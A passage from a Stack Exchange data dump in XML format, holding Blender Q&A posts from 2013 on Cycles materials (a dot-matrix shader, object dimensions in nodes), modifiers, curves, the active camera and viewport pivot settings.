BY-SA 3.0" />
  <row Id="3491" PostTypeId="1" AcceptedAnswerId="3492" CreationDate="2013-10-23T22:26:05.430" Score="14" ViewCount="3446" Body="&lt;p&gt;Is it possible to make a &lt;a href=&quot;http://en.wikipedia.org/wiki/Dot_matrix#LED_matrix&quot; rel=&quot;noreferrer&quot;&gt;dot matrix&lt;/a&gt; look with cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted this with the following node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akmUq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the dots should be round, and each dot should only have one color. As you can see, this is not the case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YEDfp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was possible in BI with a technique described on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Halos#Dotmatrix_display&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2019-03-23T04:33:46.350" Title="Dot matrix display in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="3492" PostTypeId="2" ParentId="3491" CreationDate="2013-10-23T23:03:20.183" Score="24" Body="&lt;p&gt;How about something like this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xw2mj.png&quot; alt=&quot;Dot matrix example&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or, even more fun:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q78Db.png&quot; alt=&quot;Glowing dotmatrix – what could be better!&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or a ball:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mwba4.png&quot; alt=&quot;So much fun&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or a tribute to the question author:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/APS90.png&quot; alt=&quot;Yet another &amp;quot;example&amp;quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;(I am having way too much fun with this)&lt;/p&gt;&#xA;&lt;p&gt;The dot aspect ratio depends on your UV unwrap, so you can customize it as you want. I have gotten them to be square on a non-square image, but having a square image makes it a lot easier.&#xA;Workflow:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identify the nearest hole.&lt;/li&gt;&#xA;&lt;li&gt;Find the distance to the hole.&lt;/li&gt;&#xA;&lt;li&gt;If the distance is greater than the radius, use transparent. Otherwise, use the central color of the center of the hole.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; GitHub user &lt;strong&gt;&lt;a href=&quot;https://github.com/JayFoxRox&quot; rel=&quot;noreferrer&quot;&gt;@JayFoxRox&lt;/a&gt;&lt;/strong&gt; has &lt;a href=&quot;https://github.com/wchargin/wchargin.github.io/issues/1&quot; rel=&quot;noreferrer&quot;&gt;kindly&#xA;suggested&lt;/a&gt; some helpful simplifications to the below node&#xA;setup. Instead of computing distance by taking the square root of the&#xA;sum of the squares of components, simply compute squared distance by&#xA;taking the dot product of the two inputs via the Vector Math node.&#xA;(Then, of course, compare this to the squared radius instead of the raw&#xA;radius.) And the “Combine Vector” and “Separate Vector” node groups now&#xA;exist as first-class “Combine XYZ” and “Separate XYZ”, anyway. Thanks!&lt;/p&gt;&#xA;&lt;p&gt;Blendfile: &lt;a href=&quot;https://www.dropbox.com/s/0g0qossrgw5gzia/DotMatrix.blend&quot; rel=&quot;noreferrer&quot;&gt;Dropbox&lt;/a&gt;, &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/4578/&quot; rel=&quot;noreferrer&quot;&gt;Blend-Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qAEgQ.png&quot; alt=&quot;How to use this node group&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Main node setup&lt;/strong&gt; (right-click → &lt;em&gt;Open Image in New Tab&lt;/em&gt; to see larger)&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LmB9.png&quot; alt=&quot;Main node group, &amp;quot;DotMatrix&amp;quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Separation (top) and combination (bottom):&lt;/strong&gt; (would be nicer if it were built-in)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GTsTl.png&quot; alt=&quot;Node groups &amp;quot;Separate Vector&amp;quot; (top) and &amp;quot;Combine Vector&amp;quot; (bottom)&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Distance:&lt;/strong&gt; (Pythagorean theorem/Euclidean norm)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/snphU.png&quot; alt=&quot;Node group &amp;quot;Distance&amp;quot;&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-23T04:33:46.350" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="3493" PostTypeId="1" AcceptedAnswerId="3498" CreationDate="2013-10-24T04:10:13.970" Score="6" ViewCount="3371" Body="&lt;p&gt;Can I get these dimensions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KY1gz.png&quot; alt=&quot;Dimensions&quot;&gt;&#xA;&lt;sup&gt;(bpy.data.objects['Cube'].dimensions)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a Cycles node, as a vector?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried an &lt;em&gt;Attribute&lt;/em&gt; node with &lt;code&gt;dimensions[0]&lt;/code&gt; as the &lt;em&gt;Name&lt;/em&gt;, but this didn't work. I also looked at the &lt;em&gt;Geometry&lt;/em&gt; and &lt;em&gt;Object Info&lt;/em&gt; nodes, but couldn't find anything that looked promising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably without Python due to the whole &quot;trusted blendfile&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would open tons of possibilities for optimizations, such as automatically adjusting the scale of &lt;a href=&quot;https://blender.stackexchange.com/a/3492/372&quot;&gt;a procedurally generated material (here, the dots are non-square)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-04-15T14:44:21.403" Title="Can I get the object dimensions in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3494" PostTypeId="1" CreationDate="2013-10-24T04:42:14.780" Score="5" ViewCount="2292" Body="&lt;p&gt;When I export &lt;code&gt;.obj&lt;/code&gt; files from scenes that use Cycles (and thus, materials with nodes etc), the material colours are not preserved in the &lt;code&gt;.mtl&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what can I do to avoid this?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-10-24T15:34:51.300" LastActivityDate="2013-12-12T01:21:55.430" Title="How to preserve Cycles material colours when exporting to .obj format?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3495" PostTypeId="1" CreationDate="2013-10-24T04:49:49.483" Score="11" ViewCount="14380" Body="&lt;p&gt;I often use subdivision modifiers to give my models a cleaner appearance, but this comes at the cost of too many faces and obviously difficulty in modelling (well, it's partly a hardware issue).&lt;/p&gt;&#xA;&lt;p&gt;Is there a way (say, a modifier) that can achieve a similar &amp;quot;smoothness&amp;quot; without having to subdivide so much?&lt;/p&gt;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;With subdivision on:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B6HCx.png&quot; alt=&quot;Subdivision ON&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;With Subdivision offf:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TYyWm.png&quot; alt=&quot;Subdivision OFF&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-02-07T01:37:02.503" Title="Is there a way to smooth a surface cleanly without subsurf?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3496" PostTypeId="2" ParentId="3495" CreationDate="2013-10-24T05:30:05.673" Score="7" Body="&lt;p&gt;Try settings as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;One level of subsurf&lt;/strong&gt; or as many as you can comfortably handle.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;A &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/laplacian_smooth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Laplacian Smooth&lt;/a&gt; modifier&lt;/strong&gt; with a couple of repeats (be careful!); adjust &amp;lambda;&lt;sub&gt;factor&lt;/sub&gt; as desired.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Smooth shading&lt;/strong&gt; enabled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/laplacian_smooth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Laplacian Smooth&lt;/a&gt; modifier is a really nice way to smooth out your model without adding a ton of verts. From the wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;Laplacian Smooth&lt;/em&gt; and &lt;em&gt;Shape Enhanced&lt;/em&gt; modifier allows you to reduce noise on a mesh's surface with minimal changes to its shape, and exaggerates a shape using a Laplacian smoothing modifier in the reverse direction using a single parameter, &lt;strong&gt;factor&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work out well you could try just a normal &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/smooth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smooth&lt;/a&gt; modifier instead.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="24449" LastEditDate="2017-02-07T01:37:02.503" LastActivityDate="2017-02-07T01:37:02.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3497" PostTypeId="2" ParentId="3495" CreationDate="2013-10-24T06:11:16.917" Score="3" Body="&lt;p&gt;There is always the possibility to make a really high-poly version, then retopologize it to low-poly then bake the normals from the high-poly to the low-poly. This is potentially a lot of work. You need a good UV-unwrap (maybe you need that anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you could try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use your existing model as low-poly&lt;/li&gt;&#xA;&lt;li&gt;duplicate and subsurf 2 times to get high-poly&lt;/li&gt;&#xA;&lt;li&gt;smart uv-unwrap to get something quick.&lt;/li&gt;&#xA;&lt;li&gt;bake normals from highpoly to lowpoly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a lot of self intersecting geometry, it can be troublesome. You may have to do it one section at a time and fiddle with bias and offset.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-10-24T06:11:16.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3498" PostTypeId="2" ParentId="3493" CreationDate="2013-10-24T11:40:42.640" Score="11" Body="&lt;p&gt;Well, I can answer part of the question. You can get the &lt;em&gt;values&lt;/em&gt; of the dimensions into cycles by using drivers, driving 3 separate &lt;strong&gt;Value&lt;/strong&gt; nodes and using the data path of &lt;code&gt;dimensions[0]&lt;/code&gt; as the driving value:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a Value node: &lt;em&gt;Add&lt;/em&gt;&gt; &lt;em&gt;Input&lt;/em&gt;&gt; &lt;em&gt;Value&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;Right click the value and choose 'Add Driver'.&lt;/li&gt;&#xA;&lt;li&gt;Change to the graph editor and change to 'Drivers' mode from the header toolbar.&lt;/li&gt;&#xA;&lt;li&gt;Use the following settings in the Property panel (&lt;kbd&gt;N&lt;/kbd&gt;) after selecting the channel on the left: &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dy9bG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you already identified the data path you need is &lt;code&gt;dimensions[0]&lt;/code&gt; (0, 1, or 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fnBSy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(6.399 simply being the X dimension value of my test cube)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this for the 2 other dimension values and 2 more value nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as to how you would combine 3 value nodes into a &lt;em&gt;vector&lt;/em&gt; is something I don't know. You could of course drive something other than a 'Value' node using this method if that is more useful.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; As noted by Chebhou, in the comments, as of Blender 2.72 a &quot;Combine XYZ&quot; node exists:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73Bwp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of driving 3 individual 'Value' nodes, you can now drive the x, y and z values of the 'Combine XYZ' node which will result in a vector.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-15T14:44:21.403" LastActivityDate="2015-04-15T14:44:21.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3499" PostTypeId="2" ParentId="3495" CreationDate="2013-10-24T19:08:35.437" Score="4" Body="&lt;p&gt;You might try using the subsurface modifier, and then the decimate modifier.&lt;/p&gt;&#xA;&lt;p&gt;Then experiment between the various types decimating until you find the one with least face count while still keeping the shape smooth.&lt;/p&gt;&#xA;&lt;p&gt;Using the subsurf modifier and then the decimate modifier may sound counterproductive, but it does an effective job of keeping the subdivided look without adding as many faces.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xAHTm.png&quot; alt=&quot;example&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;The &lt;s&gt;last two monkeys&lt;/s&gt; ALL the monkeys have their shading set to smooth.&lt;/p&gt;&#xA;&lt;p&gt;Comparing the monkeys you see that the last one is smoother than the first, but it has more than 1000 faces less than using the subsurf modifier with one subdivision.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-25T05:21:28.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3500" PostTypeId="1" CreationDate="2013-10-24T20:11:11.347" Score="7" ViewCount="5728" Body="&lt;p&gt;I am trying to find the spin tool in Blender version 2.68. It's not on the left panel. Should I check something in the preferences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8xvd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="12" LastEditDate="2013-10-24T21:36:24.147" LastActivityDate="2019-12-11T19:19:24.323" Title="Spin tool is not shown in toolbar when trying to spin a curve" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3501" PostTypeId="2" ParentId="3500" CreationDate="2013-10-24T20:20:51.517" Score="7" Body="&lt;p&gt;The spin tool does not work with curves, it's specifically made for meshes. There aren't really any alternatives other than rotating around the 3D cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate around the 3D cursor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;.&lt;/kbd&gt; to set the pivot point to the 3d cursor.&lt;/li&gt;&#xA;&lt;li&gt;Position the cursor at the center of the turn.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude &lt;kbd&gt;e&lt;/kbd&gt; and rotate the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3E8rh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tweak the handles so it's curved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/4Ywsp.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you don't care if the object is a curve you could convert it to a mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;c&lt;/kbd&gt;) and work with it from there.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.023" LastActivityDate="2013-10-24T20:26:55.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3502" PostTypeId="1" AcceptedAnswerId="3503" CreationDate="2013-10-24T20:58:35.697" Score="123" ViewCount="200033" Body="&lt;p&gt;I have multiple cameras in a scene. What I want to do is to change which one is active. This way I can view the scene from different angles. How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="12" LastEditDate="2013-10-24T21:44:22.377" LastActivityDate="2021-03-31T11:22:24.543" Title="How can I make a camera the active one?" Tags="&lt;camera&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="64" ContentLicense="CC BY-SA 3.0" />
  <row Id="3503" PostTypeId="2" ParentId="3502" CreationDate="2013-10-24T21:17:30.050" Score="170" Body="&lt;p&gt;There are a few ways to set the active camera.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Key Binding:&lt;/strong&gt; select it and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt; Numpad 0&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;From the menu:&lt;/strong&gt;&lt;br&gt;&lt;em&gt;3D Viewport Header -&amp;gt; View -&amp;gt; Cameras -&amp;gt; Set active object as camera.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scene property:&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;em&gt;Scene&lt;/em&gt; tab in the &lt;em&gt;Properties Editor&lt;/em&gt; and pick a camera object from the list:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UsE6L.png&quot; alt=&quot;Properties Editor - Scene Tab - Scene Camera&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eT8UP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eT8UP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Outliner (V2.90+):&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can click the green camera icon beside the camera's name in the outliner to toggle it as active for the scene.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aegOj.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aegOj.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Animation:&lt;/h1&gt;&#xA;&lt;p&gt;To change the active camera during an animation you can use &lt;a href=&quot;https://docs.blender.org/manual/en/dev/animation/markers.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Markers&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a marker where you want to change the active camera (&lt;kbd&gt;M&lt;/kbd&gt; in the &lt;em&gt;Timeline&lt;/em&gt;, or &lt;em&gt;Timeline header &amp;gt; Add marker&lt;/em&gt; will add a marker to the current frame):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5MSB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Select the object which you want to set as the new active camera and the marker which you want to bind it to, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; in the &lt;em&gt;Timeline&lt;/em&gt; (or &lt;em&gt;Timeline header &amp;gt; View &amp;gt; Bind camera to markers&lt;/em&gt;):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxon7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that markers behave like keyframes, so you will need at least two markers with cameras bound to them to have any camera switching.&lt;br /&gt;&#xA;To illustrate this, here is an example with &lt;code&gt;Camera.001&lt;/code&gt; bound to the marker on frame &lt;code&gt;1&lt;/code&gt;, and &lt;code&gt;Camera&lt;/code&gt; bound to the marker on frame &lt;code&gt;5&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ehgyv.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: If setting the active camera is only effecting a single view, you may have Scene-lock disabled. In the 3D View header (Right hand side of layers buttons), there is a lock icon. This should normally be pushed in, unless you explicitly want to set a camera &amp;amp; layers only to a single view.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="86891" LastEditorDisplayName="user1853" LastEditDate="2021-01-04T07:52:59.107" LastActivityDate="2021-01-04T07:52:59.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="3504" PostTypeId="2" ParentId="3502" CreationDate="2013-10-24T21:27:01.730" Score="7" Body="&lt;p&gt;In order to change the currently active camera, select the one you want to be active and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;. This will also change your view to the new camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change cameras mid-animation, you need to use markers. A marker can be added by hovering with your mouse over the timeline and pressing &lt;kbd&gt;M&lt;/kbd&gt;. Next you need to bind the second camera change with that marker. You can do it by selecting the camera  and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NB:&lt;/em&gt;&lt;/strong&gt; It is important to know that markers behave a bit like keyframes, so it is important to add one at the beginning of your animation and bind it to your first camera.&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="12" LastEditDate="2013-10-24T21:34:53.233" LastActivityDate="2013-10-24T21:34:53.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3505" PostTypeId="1" AcceptedAnswerId="3506" CreationDate="2013-10-24T23:23:31.167" Score="14" ViewCount="24876" Body="&lt;p&gt;I am starting to learn using blender, and at some point I managed to do something to the 3D view camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually the camera orbits around an object, but now the rotation seems to happen (atleast very close to) around the &quot;camera's origin&quot;. Neither the input setting in &quot;User Preferences&quot;, the pivot point selection nor Ctrl-Alt-Shift-C (as suggested on some forum) do anything to the issue.&lt;/p&gt;&#xA;" OwnerUserId="1482" LastActivityDate="2015-08-25T06:27:49.650" Title="Viewport pivot point changed from scene objects to around viewport camera origin" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3506" PostTypeId="2" ParentId="3505" CreationDate="2013-10-24T23:35:47.887" Score="14" Body="&lt;p&gt;It sounds like you centered the view on the camera.&lt;br&gt;&#xA;Here are some ways to set the view center:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; or &lt;em&gt;3D view header &gt; View &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#Zoom_Border&quot; rel=&quot;noreferrer&quot;&gt;Zoom Border&lt;/a&gt;&lt;/em&gt; (Note that this will also zoom to fit the view to the defined border)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select an object/vert/face/spline etc. and press &lt;kbd&gt;Numpad .&lt;/kbd&gt; (period) to center the view to the selection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to center the view to the world origin (default). Note this will also center the &lt;em&gt;3D cursor&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If none of these work, then it sounds like you have &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Locked&lt;/em&gt; the view pivot&lt;/a&gt; to the camera object (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad .&lt;/kbd&gt;). See if there is any object  selected in the &lt;em&gt;Lock to object&lt;/em&gt; option in &lt;em&gt;3D view &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#View_Properties_Panel&quot; rel=&quot;noreferrer&quot;&gt;Properties region&lt;/a&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; View &gt; Lock to object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WkYcA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove this lock by clicking the &lt;em&gt;X&lt;/em&gt; next to the object name, or pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Numpad .&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; is a shortcut for snapping &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot; rel=&quot;noreferrer&quot;&gt;object origins&lt;/a&gt;. (it does not affect the view)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-22T02:22:16.987" LastActivityDate="2015-05-22T02:22:16.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
